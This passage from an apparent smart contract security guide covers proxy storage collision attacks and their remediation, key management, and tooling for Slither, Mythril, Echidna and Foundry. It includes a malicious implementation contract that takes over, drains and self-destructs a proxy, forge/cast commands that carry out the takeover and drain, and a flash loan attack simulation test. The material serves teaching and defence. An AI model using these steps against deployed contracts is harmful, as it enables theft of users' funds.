    address public admin;          // slot 1  
    uint256 public version;        // slot 2
    
    // MALICIOUS: Function to change proxy admin
    function takeoverProxy() external {
        admin = msg.sender; // Overwrites proxy's admin
    }
    
    // MALICIOUS: Drain all funds
    function drainFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }
    
    // MALICIOUS: Self-destruct the proxy
    function destroyProxy() external {
        selfdestruct(payable(msg.sender));
    }
    
    // Disguise as normal function to trick admin
    function normalFunction() external {
        takeoverProxy();
        drainFunds();
    }
}

Complete Attack Scenario:

1. Storage Collision Attack:

# Deploy proxy system
forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  src/VulnerableImplementation.sol:VulnerableImplementation

export IMPL_ADDRESS="0x..."

forge create --rpc-url $RPC_URL --private-key $DEPLOYER_KEY \
  src/SimpleProxy.sol:SimpleProxy $IMPL_ADDRESS $DEPLOYER_ADDR

export PROXY_ADDRESS="0x..."

# Initialize through proxy (this will overwrite proxy storage!)
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $PROXY_ADDRESS "initialize(address)" $ATTACKER_ADDR

# Check if attacker is now the proxy admin (storage collision)
cast call --rpc-url $RPC_URL $PROXY_ADDRESS "admin()(address)"
# Should show attacker's address instead of deployer's

2. Implementation Replacement Attack:

# Deploy malicious implementation
forge create --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  src/MaliciousImplementation.sol:MaliciousImplementation

export MALICIOUS_IMPL="0x..."

# If attacker gained admin rights, upgrade to malicious implementation
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $PROXY_ADDRESS "upgrade(address)" $MALICIOUS_IMPL

# Now execute malicious functions through proxy
cast send --rpc-url $RPC_URL --private-key $ATTACKER_KEY \
  $PROXY_ADDRESS "drainFunds()"

3. Direct Storage Manipulation:

contract StorageManipulationAttack {
    SimpleProxy public proxy;
    
    constructor(address _proxy) {
        proxy = SimpleProxy(_proxy);
    }
    
    function executeAttack() external {
        // Call implementation function that overwrites proxy storage
        bytes memory data = abi.encodeWithSignature("changeOwner(address)", msg.sender);
        (bool success,) = address(proxy).call(data);
        require(success, "Attack failed");
        
        // Now we control the proxy admin slot
        // We can upgrade to malicious implementation
    }
}

Remediation Strategies:

1. Proper Storage Layout Management:

// Use storage slots that don't conflict
contract SecureImplementation {
    // Reserve proxy storage slots
    bytes32 private constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    bytes32 private constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
    
    // Implementation storage starts after reserved slots
    mapping(address => uint256) public userBalances;
    uint256 public totalSupply;
    
    function initialize(address _admin) external {
        require(!_initialized(), "Already initialized");
        _setAdmin(_admin);
        _setInitialized();
    }
    
    function _initialized() internal view returns (bool) {
        return StorageSlot.getBooleanSlot(keccak256("implementation.initialized")).value;
    }
    
    function _setInitialized() internal {
        StorageSlot.getBooleanSlot(keccak256("implementation.initialized")).value = true;
    }
}

2. Use OpenZeppelin’s Upgradeable Contracts:

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";

contract SecureUpgradeableToken is Initializable, OwnableUpgradeable {
    mapping(address => uint256) public balances;
    uint256 public totalSupply;
    
    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {
        _disableInitializers();
    }
    
    function initialize(address _owner) public initializer {
        __Ownable_init();
        _transferOwnership(_owner);
    }
    
    function mint(address to, uint256 amount) external onlyOwner {
        balances[to] += amount;
        totalSupply += amount;
    }
}

3. UUPS (Universal Upgradeable Proxy Standard):

import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";

contract UUPSSecureImplementation is UUPSUpgradeable, OwnableUpgradeable {
    mapping(address => uint256) public balances;
    
    function initialize(address _owner) public initializer {
        __Ownable_init();
        _transferOwnership(_owner);
    }
    
    function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
    
    function mint(address to, uint256 amount) external onlyOwner {
        balances[to] += amount;
    }
}

4. Beacon Proxy Pattern for Multiple Proxies:

import "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol";
import "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

contract SecureBeaconSystem {
    UpgradeableBeacon public immutable beacon;
    
    constructor(address implementation, address owner) {
        beacon = new UpgradeableBeacon(implementation);
        beacon.transferOwnership(owner);
    }
    
    function createProxy(bytes memory data) external returns (address) {
        return address(new BeaconProxy(address(beacon), data));
    }
}

10. Private Key & Wallet Security [CRITICAL SEVERITY]
#

Vulnerability Description: Compromise of private keys leads to complete control over accounts and contracts. While not a smart contract vulnerability per se, poor key management amplifies all other vulnerabilities.

Attack Vectors:

1. Phishing Attacks:

  • Fake DeFi interfaces that steal seed phrases
  • Malicious browser extensions
  • Social engineering via Discord/Telegram

2. Technical Attacks:

  • Keyloggers and clipboard hijacking malware
  • Weak random number generation during key creation
  • Insecure storage (plaintext files, cloud storage)

3. Supply Chain Attacks:

  • Compromised hardware wallets (rare but possible)
  • Malicious NPM packages in development dependencies
  • Compromised development environments

Detection and Prevention:

Hardware Wallet Integration Example:

// Using Ledger with ethers.js
const { LedgerSigner } = require('@ethersproject/hardware-wallets');

async function secureContractInteraction() {
    // Connect to Ledger device
    const ledgerSigner = new LedgerSigner(provider, "m/44'/60'/0'/0/0");
    
    // All transactions require physical confirmation
    const contract = new ethers.Contract(contractAddress, abi, ledgerSigner);
    
    try {
        const tx = await contract.criticalFunction(params);
        console.log('Transaction sent:', tx.hash);
        
        const receipt = await tx.wait();
        console.log('Transaction confirmed:', receipt.transactionHash);
    } catch (error) {
        console.error('Transaction failed:', error);
    }
}

Multi-Signature Implementation:

// Gnosis Safe integration
contract MultiSigProtectedToken {
    address public gnosisSafe;
    
    modifier onlyMultiSig() {
        require(msg.sender == gnosisSafe, "Only multisig can call");
        _;
    }
    
    constructor(address _gnosisSafe) {
        gnosisSafe = _gnosisSafe;
    }
    
    function mint(address to, uint256 amount) external onlyMultiSig {
        _mint(to, amount);
    }
    
    function pause() external onlyMultiSig {
        _pause();
    }
}

Secure Development Practices:

1. Environment Isolation:

# Use separate environments for development and production
export NODE_ENV=development
export PRIVATE_KEY_DEV="0x..." # Test key only
export RPC_URL_DEV="http://127.0.0.1:8545"

# Production (never expose production keys in scripts)
export NODE_ENV=production
# Use hardware wallet or secure key management service

2. Key Management Script:

// secure-key-manager.js
const { ethers } = require('ethers');
const fs = require('fs');
const path = require('path');

class SecureKeyManager {
    constructor() {
        this.keystore = path.join(process.env.HOME, '.ethereum', 'keystore');
    }
    
    // Generate new wallet with strong entropy
    generateWallet() {
        const wallet = ethers.Wallet.createRandom();
        console.log('New wallet generated:');
        console.log('Address:', wallet.address);
        console.log('SECURELY STORE THIS MNEMONIC:', wallet.mnemonic.phrase);
        console.log('Private key (for development only):', wallet.privateKey);
        
        return wallet;
    }
    
    // Encrypt and store wallet
    async encryptWallet(wallet, password) {
        if (!password || password.length < 12) {
            throw new Error('Password must be at least 12 characters');
        }
        
        const encryptedJson = await wallet.encrypt(password);
        const filename = `${wallet.address.toLowerCase()}.json`;
        const filepath = path.join(this.keystore, filename);
        
        if (!fs.existsSync(this.keystore)) {
            fs.mkdirSync(this.keystore, { recursive: true });
        }
        
        fs.writeFileSync(filepath, encryptedJson);
        console.log(`Wallet encrypted and saved to: ${filepath}`);
    }
    
    // Load encrypted wallet
    async loadWallet(address, password) {
        const filename = `${address.toLowerCase()}.json`;
        const filepath = path.join(this.keystore, filename);
        
        if (!fs.existsSync(filepath)) {
            throw new Error(`Wallet file not found: ${filepath}`);
        }
        
        const encryptedJson = fs.readFileSync(filepath, 'utf8');
        const wallet = await ethers.Wallet.fromEncryptedJson(encryptedJson, password);
        
        return wallet;
    }
    
    // Validate address format
    isValidAddress(address) {
        return ethers.utils.isAddress(address);
    }
    
    // Check if private key is secure (not from known test sets)
    isSecurePrivateKey(privateKey) {
        const testKeys = [
            '0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80', // Anvil #0
            '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d', // Anvil #1
            // Add more known test keys
        ];
        
        return !testKeys.includes(privateKey.toLowerCase());
    }
}

// Usage example
async function main() {
    const keyManager = new SecureKeyManager();
    
    // Generate new wallet
    const wallet = keyManager.generateWallet();
    
    // Encrypt with strong password
    const password = 'your-very-strong-password-here';
    await keyManager.encryptWallet(wallet, password);
    
    // Load wallet later
    const loadedWallet = await keyManager.loadWallet(wallet.address, password);
    console.log('Wallet loaded successfully:', loadedWallet.address);
}

Automated Analysis Tools
#

Static Analysis with Slither
#

Installation and Setup:

# Install Slither
pip3 install slither-analyzer

# Install additional dependencies for better analysis
pip3 install crytic-compile

# Verify installation
slither --version

Basic Usage:

# Analyze a single file
slither src/MyContract.sol

# Analyze entire project
slither .

# Analyze with specific detectors
slither . --detect reentrancy-eth,access-control,timestamp

# Generate detailed report
slither . --json results.json

# Check for specific vulnerability classes
slither . --detect all --exclude-informational --exclude-optimization

Advanced Slither Configuration:

// slither.config.json
{
    "detectors_to_run": [
        "reentrancy-eth",
        "reentrancy-no-eth", 
        "access-control",
        "assembly",
        "assert-state-change",
        "backdoor",
        "erc20-interface",
        "erc721-interface",
        "incorrect-equality",
        "locked-ether",
        "low-level-calls",
        "naming-convention",
        "pragma",
        "solc-version",
        "suicidal",
        "timestamp",
        "tx-origin",
        "unused-return"
    ],
    "detectors_to_exclude": [
        "external-function",
        "public-function", 
        "similar-names"
    ],
    "exclude_dependencies": true,
    "exclude_informational": false,
    "exclude_low": true,
    "exclude_medium": false,
    "exclude_high": false
}

Custom Slither Detectors:

# custom_detector.py
from slither.detectors.abstract_detector import AbstractDetector, DetectorClassification

class CustomReentrancyDetector(AbstractDetector):
    ARGUMENT = 'custom-reentrancy'
    HELP = 'Custom reentrancy detector with specific patterns'
    IMPACT = DetectorClassification.HIGH
    CONFIDENCE = DetectorClassification.MEDIUM

    def _detect(self):
        results = []
        
        for contract in self.compilation_unit.contracts_derived:
            for function in contract.functions_and_modifiers_declared:
                if self._is_vulnerable_to_reentrancy(function):
                    info = [function, " is vulnerable to reentrancy\n"]
                    res = self.generate_result(info)
                    results.append(res)
        
        return results
    
    def _is_vulnerable_to_reentrancy(self, function):
        # Custom logic to detect reentrancy patterns
        external_calls = []
        state_changes_after_call = []
        
        for node in function.nodes:
            if node.external_calls_as_expressions:
                external_calls.extend(node.external_calls_as_expressions)
            if node.state_variables_written:
                if external_calls:  # If there were external calls before this
                    state_changes_after_call.extend(node.state_variables_written)
        
        return len(external_calls) > 0 and len(state_changes_after_call) > 0

Dynamic Analysis with Mythril
#

Installation:

# Install Mythril
pip3 install mythril

# Install with extra dependencies
pip3 install mythril[laser]

# Verify installation
myth version

Basic Usage:

# Analyze Solidity file
myth analyze src/MyContract.sol

# Analyze deployed contract
myth analyze -a 0x... --rpc infura

# Analyze with custom timeout and depth
myth analyze src/MyContract.sol --execution-timeout 300 --max-depth 10

# Generate detailed report
myth analyze src/MyContract.sol --format json -o mythril_report.json

Advanced Mythril Configuration:

# Create comprehensive analysis script
#!/bin/bash

CONTRACT_FILE="src/VulnerableContract.sol"
OUTPUT_DIR="analysis_results"
RPC_URL="https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY"

mkdir -p $OUTPUT_DIR

echo "Starting Mythril analysis..."

# Basic analysis
myth analyze $CONTRACT_FILE \
    --format json \
    -o $OUTPUT_DIR/basic_analysis.json

# Deep analysis with longer timeout
myth analyze $CONTRACT_FILE \
    --execution-timeout 600 \
    --max-depth 15 \
    --strategy bfs \
    --format markdown \
    -o $OUTPUT_DIR/deep_analysis.md

# Transaction analysis (if deployed)
if [ ! -z "$CONTRACT_ADDRESS" ]; then
    myth analyze -a $CONTRACT_ADDRESS \
        --rpc $RPC_URL \
        --format json \
        -o $OUTPUT_DIR/deployed_analysis.json
fi

echo "Analysis complete. Results in $OUTPUT_DIR/"

Fuzzing with Echidna
#

Installation:

# Install via Nix (recommended)
curl -L https://nixos.org/nix/install | sh
nix-env -i -A nixpkgs.echidna

# Or download binary from GitHub releases
wget https://github.com/crytic/echidna/releases/download/v2.2.1/echidna-2.2.1-Linux.tar.gz
tar -xzf echidna-2.2.1-Linux.tar.gz
sudo mv echidna /usr/local/bin/

Echidna Test Contract Example:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./VulnerableContract.sol";

contract EchidnaTest {
    VulnerableContract target;
    address echidna = msg.sender;
    
    constructor() {
        target = new VulnerableContract();
    }
    
    // Invariant: contract balance should never exceed initial funding
    function echidna_balance_check() public view returns (bool) {
        return address(target).balance <= 100 ether;
    }
    
    // Invariant: total user balances should equal contract balance
    function echidna_accounting_check() public view returns (bool) {
        // This would need to iterate through all users
        // Simplified version:
        return true; // Replace with actual accounting logic
    }
    
    // Property: withdrawal should only work with sufficient balance
    function test_withdraw(uint256 amount) public {
        uint256 balanceBefore = target.balances(echidna);
        
        if (amount <= balanceBefore) {
            uint256 contractBalanceBefore = address(target).balance;
            target.withdraw(amount);
            
            // Check post-conditions
            assert(target.balances(echidna) == balanceBefore - amount);
            assert(address(target).balance == contractBalanceBefore - amount);
        }
    }
    
    // Test deposit functionality
    function test_deposit(uint256 amount) public payable {
        require(amount > 0 && amount <= 10 ether);
        
        uint256 balanceBefore = target.balances(echidna);
        target.deposit{value: amount}();
        
        assert(target.balances(echidna) == balanceBefore + amount);
    }
}

Echidna Configuration:

# echidna.yaml
testMode: assertion
testLimit: 10000
shrinkLimit: 5000
seqLen: 100
contractAddr: "0x00a329c0648769A73afAc7F9381E08FB43dBEA72"
deployer: "0x00a329c0648769a73afac7f9381e08fb43dbea70"
sender: ["0x00a329c0648769a73afac7f9381e08fb43dbea70", "0x11a329c0648769a73afac7f9381e08fb43dbea70"]
psender: "0x00a329c0648769a73afac7f9381e08fb43dbea70"
prefix: "echidna_"
cryticArgs: ["--solc-version", "0.8.19"]
multi-abi: true
corpus-dir: "corpus"
coverage: true

Running Echidna:

# Basic fuzzing
echidna src/EchidnaTest.sol --contract EchidnaTest

# With configuration file
echidna src/EchidnaTest.sol --contract EchidnaTest --config echidna.yaml

# Generate coverage report
echidna src/EchidnaTest.sol --contract EchidnaTest --coverage

# Continuous fuzzing with corpus
echidna src/EchidnaTest.sol --contract EchidnaTest --corpus-dir ./corpus

Advanced Testing with Foundry
#

Property-Based Testing
#

Comprehensive Fuzz Testing:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console2} from "forge-std/Test.sol";
import {VulnerableContract} from "../src/VulnerableContract.sol";

contract AdvancedFuzzTest is Test {
    VulnerableContract public target;
    
    // Track all addresses that have interacted
    address[] public actors;
    mapping(address => bool) public isActor;
    
    function setUp() public {
        target = new VulnerableContract();
        vm.deal(address(target), 100 ether);
    }
    
    // Advanced fuzzing with multiple actors
    function testFuzz_MultiActorInteractions(
        address[3] memory users,
        uint256[3] memory deposits,
        uint256[3] memory withdrawals
    ) public {
        // Bound inputs to reasonable ranges
        for (uint i = 0; i < 3; i++) {
            vm.assume(users[i] != address(0));
            vm.assume(users[i] != address(this));
            vm.assume(users[i] != address(target));
            
            deposits[i] = bound(deposits[i], 0.01 ether, 10 ether);
            withdrawals[i] = bound(withdrawals[i], 0, deposits[i]);
            
            // Add to actor list
            if (!isActor[users[i]]) {
                actors.push(users[i]);
                isActor[users[i]] = true;
            }
        }
        
        // Execute deposits
        for (uint i = 0; i < 3; i++) {
            vm.deal(users[i], deposits[i]);
            vm.prank(users[i]);
            target.deposit{value: deposits[i]}();
        }
        
        // Verify deposits
        for (uint i = 0; i < 3; i++) {
            assertEq(target.balances(users[i]), deposits[i]);
        }
        
        // Execute withdrawals
        for (uint i = 0; i < 3; i++) {
            if (withdrawals[i] > 0) {
                vm.prank(users[i]);
                target.withdraw(withdrawals[i]);
                
                assertEq(target.balances(users[i]), deposits[i] - withdrawals[i]);
            }
        }
    }
    
    // Test extreme values and edge cases
    function testFuzz_EdgeCases(uint256 amount) public {
        address user = makeAddr("fuzzUser");
        
        // Test with maximum possible values
        if (amount == type(uint256).max) {
            vm.expectRevert(); // Should revert on overflow
            vm.deal(user, amount);
            vm.prank(user);
            target.deposit{value: amount}();
        }
        
        // Test with zero values
        if (amount == 0) {
            vm.prank(user);
            vm.expectRevert("Amount must be positive");
            target.withdraw(amount);
        }
        
        // Test with very small values
        if (amount > 0 && amount < 1000) {
            vm.deal(user, amount);
            vm.prank(user);
            target.deposit{value: amount}();
            assertEq(target.balances(user), amount);
        }
    }
    
    // Invariant testing
    function invariant_ContractBalanceMatchesUserBalances() public {
        uint256 totalUserBalances = 0;
        
        for (uint i = 0; i < actors.length; i++) {
            totalUserBalances += target.balances(actors[i]);
        }
        
        assertEq(address(target).balance, totalUserBalances);
    }
    
    function invariant_NoUserHasNegativeBalance() public {
        for (uint i = 0; i < actors.length; i++) {
            assertGe(target.balances(actors[i]), 0);
        }
    }
    
    // Stateful fuzzing handler
    function deposit(uint256 amount) public {
        amount = bound(amount, 0.01 ether, 100 ether);
        
        address user = msg.sender;
        if (!isActor[user]) {
            actors.push(user);
            isActor[user] = true;
        }
        
        vm.deal(user, amount);
        vm.prank(user);
        target.deposit{value: amount}();
    }
    
    function withdraw(uint256 amount) public {
        address user = msg.sender;
        uint256 maxWithdraw = target.balances(user);
        
        if (maxWithdraw == 0) return; // Skip if no balance
        
        amount = bound(amount, 1, maxWithdraw);
        
        vm.prank(user);
        target.withdraw(amount);
    }
}

Foundry Configuration for Advanced Testing:

# foundry.toml
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.8.19"
optimizer = true
optimizer_runs = 200
via_ir = false

# Fuzzing configuration
fuzz_runs = 10000
fuzz_max_test_rejects = 1000000
fuzz_seed = '0x3e8'

# Invariant testing
invariant_runs = 1000
invariant_depth = 100
invariant_fail_on_revert = true
invariant_call_override = false

[profile.intense]
fuzz_runs = 100000
invariant_runs = 10000
invariant_depth = 1000

[profile.ci]
fuzz_runs = 1000
invariant_runs = 100

Advanced Test Execution:

# Run all tests with high verbosity
forge test -vvvv

# Run only fuzz tests
forge test --match-test "testFuzz"

# Run with specific profile
forge test --profile intense

# Run invariant tests only
forge test --match-test "invariant"

# Generate coverage report
forge coverage --report lcov

# Run tests with specific seed for reproducibility
forge test --fuzz-seed 0x123456789

# Test specific contract
forge test --match-contract AdvancedFuzzTest

# Run tests and save gas report
forge test --gas-report > gas_report.txt

Integration Testing
#

Mainnet Fork Integration Tests:

contract MainnetIntegrationTest is Test {
    // Real mainnet addresses
    address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant USDC = 0xA0b86a33E6417c7e3c3C8F4b8ba7b1Cb2D6eE7dF;
    
    IUniswapV2Router02 router;
    IERC20 weth;
    IERC20 usdc;
    
    function setUp() public {
        // Fork mainnet at specific block
        vm.createFork("https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY", 18_500_000);
        
        router = IUniswapV2Router02(UNISWAP_V2_ROUTER);
        weth = IERC20(WETH);
        usdc = IERC20(USDC);
    }
    
    function test_FlashLoanAttackSimulation() public {
        // Deploy vulnerable protocol on fork
        VulnerableProtocol protocol = new VulnerableProtocol(USDC, WETH);
        
        // Fund protocol with initial liquidity
        deal(USDC, address(protocol), 1000000 * 1e6); // 1M USDC
        
        // Deploy and execute flash loan attack
        FlashLoanAttacker attacker = new FlashLoanAttacker(
            address(protocol),
            address(router)
        );
        
        // Fund attacker with initial capital
        deal(WETH, address(attacker), 100 ether);
        
        // Record state before attack
        uint256 protocolBalanceBefore = usdc.balanceOf(address(protocol));
        uint256 attackerBalanceBefore = usdc.balanceOf(address(attacker));
        
        // Execute attack
        vm.prank(address(attacker));
        attacker.executeAttack();
        
        // Verify attack success
        uint256 protocolBalanceAfter = usdc.balanceOf(address(protocol));
        uint256 attackerBalanceAfter = usdc.balanceOf(address(attacker));
        
        assertLt(protocolBalanceAfter, protocolBalanceBefore);
        assertGt(attackerBalanceAfter, attackerBalanceBefore);
        
        console2.log("Protocol lost:", protocolBalanceBefore - protocolBalanceAfter);
        console2.log("Attacker gained:", attackerBalanceAfter - attackerBalanceBefore);
    }
}